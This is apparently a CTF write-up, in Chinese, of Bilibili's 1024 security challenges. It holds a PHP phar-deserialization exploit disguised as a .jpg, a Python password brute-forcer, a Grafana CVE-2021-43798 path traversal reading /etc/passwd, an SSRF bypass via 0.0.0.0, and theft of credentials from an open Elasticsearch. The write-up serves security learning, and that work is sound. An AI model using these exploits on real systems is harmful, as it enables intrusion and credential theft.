题目2
打开没啥点,扫扫目录扫到了 upload.php
,GET 访问可以拿到源码
upload.php:
<?php
header("content-type:text/html;charset=utf-8");
date_default_timezone_set('PRC');
if($_SERVER['REQUEST_METHOD']==='POST') {
$filename = $_FILES['file']['name'];
$temp_name = $_FILES['file']['tmp_name'];
$size = $_FILES['file']['size'];
$error = $_FILES['file']['error'];
if ($size > 2*1024*1024){
echo "<script>alert('文件过大');window.history.go(-1);</script>";
exit();
}
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
$allow_suffix = array('jpg','gif','jpeg','png');
if(!in_array($ext_suffix, $allow_suffix)){
echo "<script>alert('只能是jpg,gif,jpeg,png');window.history.go(-1);</script>";
exit();
}
$new_filename = date('YmdHis',time()).rand(100,1000).'.'.$ext_suffix;
move_uploaded_file($temp_name, 'upload/'.$new_filename);
echo "success save in: ".'upload/'.$new_filename;
} else if ($_SERVER['REQUEST_METHOD']==='GET') {
if (isset($_GET['c'])){
include("5d47c5d8a6299792.php");
$fpath = $_GET['c'];
if(file_exists($fpath)){//可触发phar反序列化
echo "file exists";
} else {
echo "file not exists";
}
} else {
highlight_file(__FILE__);
}
}
?>
这里还有个 5d47c5d8a6299792.php
,访问下也能拿到源码
<?php
// flag in /tmp/flag.php
class Modifier {
public function __invoke(){
include("index.php");
}
}
class Action {
protected $checkAccess;
protected $id;
public function run()
{
if(strpos($this->checkAccess, 'upload') !== false || strpos($this->checkAccess, 'log') !== false){
echo "error path";
exit();
}
if ($this->id !== 0 && $this->id !== 1) {
switch($this->id) {
case 0:
if ($this->checkAccess) {
include($this->checkAccess);
}
break;
case 1:
throw new Exception("id invalid in ".__CLASS__.__FUNCTION__);
break;
default:
break;
}
}
}
}
class Content {
public $formatters;
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}
public function __call($name, $arguments)
{
return call_user_func_array($this->getFormatter($name), $arguments);
}
}
class Show{
public $source;
public $str;
public $reader;
public function __construct($file='index.php') {
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString() {
$this->str->reset();
}
public function __wakeup() {
if(preg_match("/gopher|phar|http|file|ftp|dict|\.\./i", $this->source)) {
throw new Exception('invalid protocol found in '.__CLASS__);
}
}
public function reset() {
if ($this->reader !== null) {
$this->reader->close();
}
}
}
highlight_file(__FILE__);
文件上传,又有这么多魔术方法,大概率是利用 phar 反序列化来打了
pop链子
Show:__wakeup -> Show:__toString -> Show:reset -> Content:__call -> Content:getFormatter -> Action:run
这里有几个点:
getFormatter
这里就要返回array(new Action(), 'run')
来让call_user_fun_array
触发run
函数,即Content
里有$this->formatters = array('close'=>array(new Action(), 'run'))
run
里这里可以使用php弱类型比较绕过
exp
<?php
class Action {
protected $checkAccess;
protected $id;
public function __construct($checkAccess, $id)
{
$this->checkAccess = $checkAccess;
$this->id = $id;
}
}
class Content {
public $formatters;//数组 array('close'=>array(new Action(), 'run'))
public function __construct($formatters)
{
$this->formatters = $formatters;
}
}
class Show{
public $source;
public $str;
public $reader;
public function __construct($source, $str, $reader) {
$this->source = $source;
$this->str = $str;
$this->reader = $reader;
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$action = new Action('php://filter/read=convert.base64-encode/resource=/tmp/flag.php', '0');
$formatters = array('close' => array($action, 'run'));
$read = new Content($formatters);
$str = new Show('', '', $read);
$show1 = new Show('', $str, '');
$show0 = new Show($show1, '', '');
$phar->setMetadata($show0); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
rename("./phar.phar", "./phar.jpg");
base64解码得到
/**
* bilibili@2022.
* Congratulations! This is The Flag!
* Auth: K3iove@github
* Repo: 1024-cheers
* @link https://security.bilibili.com/
* @license https://www.bilibili.com/
*/
flag2{PhAr_The_bEsT_Lang}
这里有第5题的位置线索 https://github.com/K3iove/1024-cheers
题目1
打开是个登录页面
直接登录会卡死,看下前端源码
core.js 里一堆颜文字代码
http://hi.pcmoe.net/kaomoji.html 解密得到
function SHA256(s) {
const chrsz = 8
const hexcase = 0
function safe_add(x, y) {
const lsw = (x & 0xFFFF) + (y & 0xFFFF)
const msw = (x >> 16) + (y >> 16) + (lsw >> 16)
return (msw << 16) | (lsw & 0xFFFF)
}
function S(X, n) {
return (X >>> n) | (X << (32 - n))
}
function R(X, n) {
return (X >>> n)
}
function Ch(x, y, z) {
return ((x & y) ^ ((~x) & z))
}
function Maj(x, y, z) {
return ((x & y) ^ (x & z) ^ (y & z))
}
function Sigma0256(x) {
return (S(x, 2) ^ S(x, 13) ^ S(x, 22))
}
function Sigma1256(x) {
return (S(x, 6) ^ S(x, 11) ^ S(x, 25))
}
function Gamma0256(x) {
return (S(x, 7) ^ S(x, 18) ^ R(x, 3))
}
function Gamma1256(x) {
return (S(x, 17) ^ S(x, 19) ^ R(x, 10))
}
function core_sha256(m, l) {
const K = [0x428A2F98, 0x71374491, 0xB5C0FBCF, 0xE9B5DBA5, 0x3956C25B, 0x59F111F1, 0x923F82A4, 0xAB1C5ED5, 0xD807AA98, 0x12835B01, 0x243185BE, 0x550C7DC3, 0x72BE5D74, 0x80DEB1FE, 0x9BDC06A7, 0xC19BF174, 0xE49B69C1, 0xEFBE4786, 0xFC19DC6, 0x240CA1CC, 0x2DE92C6F, 0x4A7484AA, 0x5CB0A9DC, 0x76F988DA, 0x983E5152, 0xA831C66D, 0xB00327C8, 0xBF597FC7, 0xC6E00BF3, 0xD5A79147, 0x6CA6351, 0x14292967, 0x27B70A85, 0x2E1B2138, 0x4D2C6DFC, 0x53380D13, 0x650A7354, 0x766A0ABB, 0x81C2C92E, 0x92722C85, 0xA2BFE8A1, 0xA81A664B, 0xC24B8B70, 0xC76C51A3, 0xD192E819, 0xD6990624, 0xF40E3585, 0x106AA070, 0x19A4C116, 0x1E376C08, 0x2748774C, 0x34B0BCB5, 0x391C0CB3, 0x4ED8AA4A, 0x5B9CCA4F, 0x682E6FF3, 0x748F82EE, 0x78A5636F, 0x84C87814, 0x8CC70208, 0x90BEFFFA, 0xA4506CEB, 0xBEF9A3F7, 0xC67178F2]
const HASH = [0x6A09E667, 0xBB67AE85, 0x3C6EF372, 0xA54FF53A, 0x510E527F, 0x9B05688C, 0x1F83D9AB, 0x5BE0CD19]
const W = new Array(64)
let a, b, c, d, e, f, g, h, i, j
let T1, T2
m[l >> 5] |= 0x80 << (24 - l % 32)
m[((l + 64 >> 9) << 4) + 15] = l
for (i = 0; i < m.length; i += 16) {
a = HASH[0]
b = HASH[1]
c = HASH[2]
d = HASH[3]
e = HASH[4]
f = HASH[5]
g = HASH[6]
h = HASH[7]
for (j = 0; j < 64; j++) {
if (j < 16) {
W[j] = m[j + i]
} else {
W[j] = safe_add(safe_add(safe_add(Gamma1256(W[j - 2]), W[j - 7]), Gamma0256(W[j - 15])), W[j - 16])
}
T1 = safe_add(safe_add(safe_add(safe_add(h, Sigma1256(e)), Ch(e, f, g)), K[j]), W[j])
T2 = safe_add(Sigma0256(a), Maj(a, b, c))
h = g
g = f
f = e
e = safe_add(d, T1)
d = c
c = b
b = a
a = safe_add(T1, T2)
}
HASH[0] = safe_add(a, HASH[0])
HASH[1] = safe_add(b, HASH[1])
HASH[2] = safe_add(c, HASH[2])
HASH[3] = safe_add(d, HASH[3])
HASH[4] = safe_add(e, HASH[4])
HASH[5] = safe_add(f, HASH[5])
HASH[6] = safe_add(g, HASH[6])
HASH[7] = safe_add(h, HASH[7])
}
return HASH
}
function str2binb(str) {
const bin = []
const mask = (1 << chrsz) - 1
for (let i = 0; i < str.length * chrsz; i += chrsz) {
bin[i >> 5] |= (str.charCodeAt(i / chrsz) & mask) << (24 - i % 32)
}
return bin
}
function Utf8Encode(string) {
string = string.replace(/\r\n/g, '\n')
let utfText = ''
for (let n = 0; n < string.length; n++) {
const c = string.charCodeAt(n)
if (c < 128) {
utfText += String.fromCharCode(c)
} else if ((c > 127) && (c < 2048)) {
utfText += String.fromCharCode((c >> 6) | 192)
utfText += String.fromCharCode((c & 63) | 128)
} else {
utfText += String.fromCharCode((c >> 12) | 224)
utfText += String.fromCharCode(((c >> 6) & 63) | 128)
utfText += String.fromCharCode((c & 63) | 128)
}
}
return utfText
}
function binb2hex(binarray) {
const hex_tab = hexcase ? '0123456789ABCDEF' : '0123456789abcdef'
let str = ''
for (let i = 0; i < binarray.length * 4; i++) {
str += hex_tab.charAt((binarray[i >> 2] >> ((3 - i % 4) * 8 + 4)) & 0xF) +
hex_tab.charAt((binarray[i >> 2] >> ((3 - i % 4) * 8)) & 0xF)
}
return str
}
s = Utf8Encode(s)
return binb2hex(core_sha256(str2binb(s), s.length * chrsz))
}
$(function () {
$("#btn").click(function () {
let username = document.getElementById('username').value.trim();
let password = document.getElementById('password').value.trim();
//let nonce = parseInt(Math.random()*9 + 23);
let nonce = parseInt(Math.random()*100 + 9);
let random = document.getElementById('random').value.trim();
console.log(nonce);
for (var i=0;i<Math.pow(2,255);i++) {
let mystr = username + password + random + i.toString();
var s256 = SHA256(mystr);
var s256hex = parseInt(s256, 16)
if (s256hex < Math.pow(2,(256-nonce))) {
console.log("success!");
console.log(mystr);
console.log(s256);
console.log(s256hex);
$.ajax({
url: '/crack1/login',
type: 'POST',
data: JSON.stringify({
'username': username,
'password': password,
'nonce': nonce,
'random': random,
'proof': i.toString(),
}),
dataType: 'json',
contentType: "application/json",
success: function (data) {
console.log(data);
},
error: function (data) {
console.log(data);
}
});
break;
}
}
})
});
大致功能就是获取输入的账号密码,然后和random拼接后后面就是挖矿的原理,要有个工作量证明,防止直接弱口令爆破,本地把那个 nonce
改到最小为 9
,很快就能跑出。
exp:
from time import sleep
import requests
import re
from hashlib import sha256
session = requests.session()
url = "https://security.bilibili.com"
def getPassList():
#字典自备
with open('passwd.txt', 'r') as f:
list = f.read().split('\n')
newList = []
for word in list:
if len(word) == 8:
newList.append(word)
return newList
def proofWork(passList):
nonce = 9
target = pow(2, 256-nonce)
i = 0
password = ''
res = session.get(url + "/crack1/index")
if(res.status_code != 200):
print("have some error!")
exit(0)
randomValue = re.findall('value="(.*?)"', res.text)[0]
for passwd in passList:
while True:
mystr = "admin" + passwd + randomValue + str(i)
s256hex = int(sha256(mystr.encode()).hexdigest(), base=16)
if s256hex < target:
password = passwd
break
i += 1
data = {
"username": "admin",
"password": password,
"nonce": nonce,
"random": randomValue,
"proof": str(i)
}
print(f"当前password: {password}")
while True:
res = session.post(url + "/crack1/login", json=data)
if res.status_code == 200:
break
else:
print("post error! retry!")
sleep(5)
if "you don't proof your work" not in res.text:
print(res.text)
print(res.headers)
return password, nonce, randomValue, i
if __name__ == '__main__':
list = getPassList()
password, nonce, randomValue, i = proofWork(list)
print(f"password: {password}")
print(f"nonce: {nonce}")
print(f"random: {randomValue}")
print(f"i: {i}")
flag在相应头里,同时里面有第4题位置的提示。
访问 https://security.bilibili.com/static/img/back2.png 可以拿到第4题位置的提示
题目5
根据第2题的提示找到 https://github.com/K3iove/1024-cheers
这个没啥思路,后来了解到是 postman 里开的测试工作区
postman里直接搜 bilibili-1024-cheers
可以找到
提示 /etc/server.go
扫下端口
G:\tools\fscan-1.8.0>fscan -h 101.132.189.74
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.7.1
start infoscan
(icmp) Target 101.132.189.74 is alive
[*] Icmp alive hosts len is: 1
101.132.189.74:8088 open
101.132.189.74:8082 open
101.132.189.74:80 open
101.132.189.74:8081 open
[*] alive ports len is: 4
start vulscan
[*] WebTitle:http://101.132.189.74 code:404 len:18 title:None
[*] WebTitle:http://101.132.189.74:8082 code:200 len:3024 title:JFrog
[*] WebTitle:http://101.132.189.74:8081 code:200 len:878 title:None
[*] WebTitle:http://101.132.189.74:8088 code:302 len:29 title:None 跳转url: http://101.132.189.74:8088/login
[*] WebTitle:http://101.132.189.74:8088/login code:200 len:27707 title:Grafana
[+] InfoScan:http://101.132.189.74:8088/login [editor]
已完成 4/4
[*] 扫描结束,耗时: 4.8669157s
8082
和 8081
部署的是 Jfrog 服务,访问下有账号密码要登录,也不存在弱口令。
这里 8088
端口是Grafana v8.2.6,有个 CVE-2021-43798 可以任意文件读取
/public/plugins/text/../../../../../../../../../../etc/passwd
读 /etc/server.go
/public/plugins/text/../../../../../../../../../../etc/server.go
server.go 源码
package server
import (
"fmt"
"github.com/andelf/go-curl"
"github.com/gin-gonic/gin"
"io"
"net"
"net/http"
"net/url"
"os"
"strings"
"crack5/utils/try"
)
/*func Test(buf []byte, userdata interface{}) bool {
println("DEBUG: size=>", len(buf))
println("DEBUG: content=>", string(buf))
return true
}*/
func SecCheck(myurl string) bool {
if strings.Contains(myurl, "@") || strings.Contains(myurl, "./") {
return false
} else {
return true
}
}
func IsInternalIp(host string) bool {
ipaddr, err := net.ResolveIPAddr("ip", host)
if err != nil {
fmt.Println(err)
}
fmt.Println(ipaddr.IP, ipaddr.Zone)
if ipaddr.IP.IsLoopback() {
return true
}
ip4 := ipaddr.IP.To4()
if ip4 == nil {
return false
}
return ip4[0] == 10 ||
(ip4[0] == 172 && ip4[1] >= 16 && ip4[1] <= 31) ||
(ip4[0] == 169 && ip4[1] == 254) ||
(ip4[0] == 192 && ip4[1] == 168)
}
// 解决跨域问题
func Cors() gin.HandlerFunc {
return func(c *gin.Context) {
method := c.Request.Method
c.Header("Access-Control-Allow-Origin", "*")
c.Header("Access-Control-Allow-Headers", "Content-Type,AccessToken,X-CSRF-Token, Authorization, Token")
c.Header("Access-Control-Allow-Methods", "POST, GET, OPTIONS")
c.Header("Access-Control-Expose-Headers", "Content-Length, Access-Control-Allow-Origin, Access-Control-Allow-Headers, Content-Type")
c.Header("Access-Control-Allow-Credentials", "true")
if method == "OPTIONS" {
c.AbortWithStatus(http.StatusNoContent)
}
c.Next()
}
}
// GetData
func GetData(c *gin.Context) {
try.Try(func(){
target, status := c.GetQuery("t")
if !status {
c.JSON(http.StatusOK, gin.H{
"msg":"query invalid",
})
return
}
if len(target) >= 128 || !SecCheck(target) {
c.JSON(http.StatusBadRequest, gin.H{
"msg":"illage url",
})
return
}
u, err := url.Parse(target)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{
"msg":"illage url",
})
return
} else {
if (u.Scheme != "http" && u.Scheme != "https") || IsInternalIp(u.Hostname()) {
c.JSON(http.StatusBadRequest, gin.H{
"msg":"illage url",
})
return
}
easy := curl.EasyInit()
defer easy.Cleanup()
easy.Setopt(curl.OPT_URL, target)
easy.Setopt(curl.OPT_TIMEOUT, 3)
easy.Setopt(curl.OPT_FOLLOWLOCATION, false)
easy.Setopt(curl.OPT_WRITEFUNCTION, func (buf []byte, extra interface{}) bool {
c.Data(http.StatusOK, "text/html", buf)
return true
})
err := easy.Perform()
if err != nil {
fmt.Printf("ERROR: %v\n", err)
return
} else {
c.JSON(http.StatusInternalServerError, nil)
return
}
}
}).Catch(func() {
c.JSON(http.StatusBadGateway, nil)
return
})
}
func Info(c *gin.Context) {
c.JSON(http.StatusOK, gin.H{
"msg":" /etc/server.go",
})
return
}
//
func LoadUrl(r *gin.Engine) {
r.Use(Cors())
r.GET("/get", GetData)
r.GET("/index", Info)
}
func RunAdmin() http.Handler {
gin.DisableConsoleColor()
f, _ := os.Create("./logs/server.log")
gin.DefaultWriter = io.MultiWriter(f)
r := gin.Default()
r.Use(gin.LoggerWithFormatter(func(param gin.LogFormatterParams) string {
return fmt.Sprintf("[Crack5-Web] %s - [%s] \"%s %s %s %d %s \"%s\" %s\"\n",
param.ClientIP,
param.TimeStamp.Format("2006-01-02 15:04:05"),
param.Method,
param.Path,
param.Request.Proto,
param.StatusCode,
param.Latency,
param.Request.UserAgent(),
param.ErrorMessage,
)
}))
r.Use(gin.Recovery())
LoadUrl(r)
return r
}
审计代码发现 /get
下可以GET传参 t
给个 url 来访问这个url,可以打SSRF。
传的 url 有waf检测
这里 IsLoopback
这个函数,这个函数用于判断解析的 ip 地址是否是回环地址,127.0.0.1
是回环地址,返回 true
检测到,无法使用这个来打内网服务。这里可以使用 0.0.0.0
来绕过(不是回环地址,但也是从本机访问的地址)。
爆破下内部端口 扫出来很多
重点关注下这个 9200 端口
{
"name" : "ali-sh-sec-ctf-25aaa86-01",
"cluster_name" : "elasticsearch",
"cluster_uuid" : "ikcj8ysFR2KnnTa5chqvUA",
"version" : {
"number" : "7.17.6",
"build_flavor" : "default",
"build_type" : "deb",
"build_hash" : "f65e9d338dc1d07b642e14a27f338990148ee5b6",
"build_date" : "2022-08-23T11:08:48.893373482Z",
"build_snapshot" : false,
"lucene_version" : "8.11.1",
"minimum_wire_compatibility_version" : "6.8.0",
"minimum_index_compatibility_version" : "6.0.0-beta1"
},
"tagline" : "You Know, for Search"
}
返回的这个内容给了集群名称 cluster_name
,是 elasticsearch
服务,网上查下这个服务的漏洞,发现有未授权访问漏洞。
参考 https://www.cxyzjd.com/article/u012206617/109628426
这里跟目录就是默认账户,直接访问 /_search
就得到数据库里的信息了
得到用户名和密码,放 8082
端口上的那个 JFrog 上登录下,发现成功登录。
在里面的 Artifacts
里搜索 ssh 能拿到 2222
端口的ssh连接用户名和密码。